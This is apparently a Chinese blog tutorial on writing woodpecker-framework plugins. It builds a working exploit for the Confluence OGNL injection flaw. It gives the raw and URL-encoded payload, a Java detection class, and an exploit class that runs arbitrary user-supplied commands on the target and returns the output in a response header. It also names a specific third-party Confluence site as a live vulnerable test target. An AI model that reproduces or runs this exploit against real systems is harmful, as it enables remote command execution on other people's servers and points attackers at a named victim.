woodpecker插件编写
目录
- woodpecker介绍
- woodpecker使用
- 插件编写
- 安装环境
- woodpecker-sdk
- woodpecker-request
- 创建Maven项目
- 安装环境
- Confluence OGNL表达式注入漏洞插件编写
- 创建Package包和Class类
- 编写POC
- 漏洞POC
- 代码编写
- 导出jar包
- 将jar包放入woodpecker的plugin目录
- 运行woodpecker测试
- 编写EXP
- 代码编写
- 运行woodpecker测试
woodpecker介绍
- https://github.com/woodpecker-framework/woodpecker-framework-release
woodpecker-framework是一款漏洞精准检测深度利用框架,只做一件事:精准狙击高危漏洞
。
针对人群:专业打点人士。
- 目标探测
- 精准检测
- 深度利用
- 荷载生成
woodpecker使用
java -jar woodpecker-framework.1.3.5.jar
运行之后,会自动生成common、config.db、plugin
plugin用来存放woopecker插件。
插件编写
安装环境
woodpecker-sdk
woodpecker-sdk
是woodpecker-framework
的开发SDK,里面定义了woodpecker-framework
开放的接口。 开发者可以通过接口编写插件实现自己想要的功能。
- https://github.com/woodpecker-framework/woodpecker-sdk
下载下来,解压,使用IDE打开项目,点击右侧“install”。
woodpecker-request
woodpecker-requests
是基于 requests 为woodpecker框架定制开发的httpclient库,目的是编写插件时能拥有像python requests一样的便利。特点为可以全局设置代理、全局设置UA等
- https://github.com/woodpecker-framework/woodpecker-requests
下载下来,解压,使用IDE打开项目,点击右侧“install”。
创建Maven项目
<dependencies>
<dependency>
<groupId>me.gv7.woodpecker</groupId>
<artifactId>woodpecker-sdk</artifactId>
<version>0.3.0</version>
</dependency>
<dependency>
<groupId>me.gv7.woodpecker</groupId>
<artifactId>woodpecker-requests</artifactId>
<version>0.2.0</version>
</dependency>
</dependencies>
Confluence OGNL表达式注入漏洞插件编写
创建Package包和Class类
创建Package包
exploit
pocs
utils
和Class类
ConfluenceVulPlugin
(不固定,和漏洞名相关)WoodpeckerPluginManager
整个程序的入口ConfluenceOgnlPoc
(不固定,和漏洞名相关)ConfluenceOgnlExp
(不固定,和漏洞名相关)
编写POC
漏洞POC
http://IP地址 /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(" echo 'ognlinject' ").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(" X-Response ",#a))}/
进行url编码为:
/$%7B(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec( %22echo%20'ognlinject'%22 ).getInputStream(),%22utf-8%22)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(%22 X-Response %22,#a))%7D/
代码编写
WoodpeckerPluginManager类:(整个插件的入口)
package me.gv7.woodpecker.plugin;
// IPluginManager接口由woodpecker-sdk提供
public class WoodpeckerPluginManager implements IPluginManager{
@Override
public void registerPluginManagerCallbacks(IPluginManagerCallbacks iPluginManagerCallbacks) {
// 注册漏洞插件
iPluginManagerCallbacks.registerVulPlugin( new ConfluenceVulPlugin() );
}
}
ConfluenceVulPlugin类:(具体的漏洞插件类)
package me.gv7.woodpecker.plugin;
import me.gv7.woodpecker.plugin.exploit.ConfluenceOgnlExp;
import me.gv7.woodpecker.plugin.pocs.ConfluenceOgnlPoc;
import java.util.ArrayList;
import java.util.List;
// IVulPlugin接口由woodpecker-sdk提供
public class ConfluenceVulPlugin implements IVulPlugin{
public static IVulPluginCallbacks callbacks;
public static IPluginHelper pluginHelper;
@Override
public void VulPluginMain(IVulPluginCallbacks iVulPluginCallbacks) {
this.callbacks = iVulPluginCallbacks;
this.pluginHelper = iVulPluginCallbacks.getPluginHelper();
iVulPluginCallbacks.setVulPluginName("Confluence OGNL表达式注入漏洞POC"); // 插件名字
iVulPluginCallbacks.setVulPluginAuthor("L3yia"); // 作者名
iVulPluginCallbacks.setVulPluginVersion("1.0.0"); // 插件版本
iVulPluginCallbacks.setVulName("Confluence OGNL表达式注入漏洞"); // 漏洞名称
iVulPluginCallbacks.setVulDescription("Confluence OGNL表达式注入漏洞"); // 漏洞描述
// 注册漏洞验证模块
iVulPluginCallbacks.registerPoc(new ConfluenceOgnlPoc());
// 注册漏洞利用模块(利用模块可以有多个)
List<IExploit> exploitList = new ArrayList();
exploitList.add(new ConfluenceOgnlExp());
iVulPluginCallbacks.registerExploit(exploitList);
}
}
ConfluenceOgnlPoc类:
package me.gv7.woodpecker.plugin.pocs;
import me.gv7.woodpecker.plugin.*;
import me.gv7.woodpecker.requests.RawResponse;
import me.gv7.woodpecker.requests.Requests;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects;
public class ConfluenceOgnlPoc implements IPoc {
@Override
public IScanResult doVerify(ITarget iTarget, IResultOutput iResultOutput) throws Throwable {
// 创建输出模块,用作结果的输出
IScanResult scanResult = ConfluenceVulPlugin.pluginHelper.createScanResult();
// 设置目标地址,iTarget.getAddress()由插件面板获取地址
scanResult.setTarget(iTarget.getAddress());
// 调用漏洞验证函数
Map<String, Object> responseMap = checkConfluenceOgnl(iTarget.getAddress());
scanResult.setExists((Boolean) responseMap.get("flag"));
scanResult.setMsg((String) responseMap.get("results"));
iResultOutput.infoPrintln((String) responseMap.get("results"));
return scanResult;
}
// 漏洞验证函数
private Map<String, Object> checkConfluenceOgnl(String address){
Map<String,Object> responseMap = new HashMap<>();
boolean flag = false;
String results = null;
try {
/*
Requests.get()发送一个get请求(验证漏洞的POC)。
verify(false) : 忽略https证书失效
timeout(3000) : 超时时间3000毫秒
send() : 发送
*/
RawResponse response = Requests.get(address + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22 echo%20'ognlinject' %22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/").verify(false).timeout(3000).send();
String header = response.getHeader("X-Response");
if(response.statusCode() == 302 && header.contains("ognlinject")){
flag = true;
results = String.format("%s存在命令注入漏洞!!!",address);
}else {
flag = false;
results = String.format("%s不存在命令注入漏洞",address);
}
}catch (Exception e){
flag = false;
results = String.format("%s不存在命令注入漏洞",address);
}finally {
// 设置responseMap的值,将flag和results带回去
responseMap.put("flag",flag);
responseMap.put("results",results);
}
// 返回
return responseMap;
}
}
导出jar包
点击“package”生成jar包:
将jar包放入woodpecker的plugin目录
运行woodpecker测试
测试网址:此网址存在该漏洞
https://confluence.startwire.com
编写EXP
代码编写
ConfluenceOgnlExp类:
package me.gv7.woodpecker.plugin.exploit;
import me.gv7.woodpecker.plugin.*;
import me.gv7.woodpecker.requests.RawResponse;
import me.gv7.woodpecker.requests.Requests;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
public class ConfluenceOgnlExp implements IExploit {
@Override
public String getExploitTabCaption() {
return "代码执行"; // 选项名称
}
// 接收用户参数
@Override
public IArgsUsageBinder getExploitCustomArgs() {
IArgsUsageBinder argsUsageBinder = ConfluenceVulPlugin.pluginHelper.createArgsUsageBinder();
List<IArg> args = new ArrayList<>();
IArg command = ConfluenceVulPlugin.pluginHelper.createArg();
command.setDescription("执行的命令");
command.setName("Command");
command.setDefaultValue("whoami");
command.setRequired(true); // 必填
args.add(command);
argsUsageBinder.setArgsList(args);
return argsUsageBinder;
}
@Override
public void doExploit(ITarget iTarget, Map<String, Object> map, IResultOutput iResultOutput) throws Throwable {
try {
String command = (String) map.get("Command");
command = URLEncoder.encode(command);
String address = iTarget.getAddress();
RawResponse response = Requests.get(address + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22"+command+"%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/").verify(false).timeout(3000).send();
if (response.statusCode() == 302){
String responseHeader = response.getHeader("X-Response");
iResultOutput.successPrintln(responseHeader);
}else{
iResultOutput.failPrintln("执行失败了~");
}
}catch (Exception e){
iResultOutput.failPrintln("执行异常了~");
}
}
}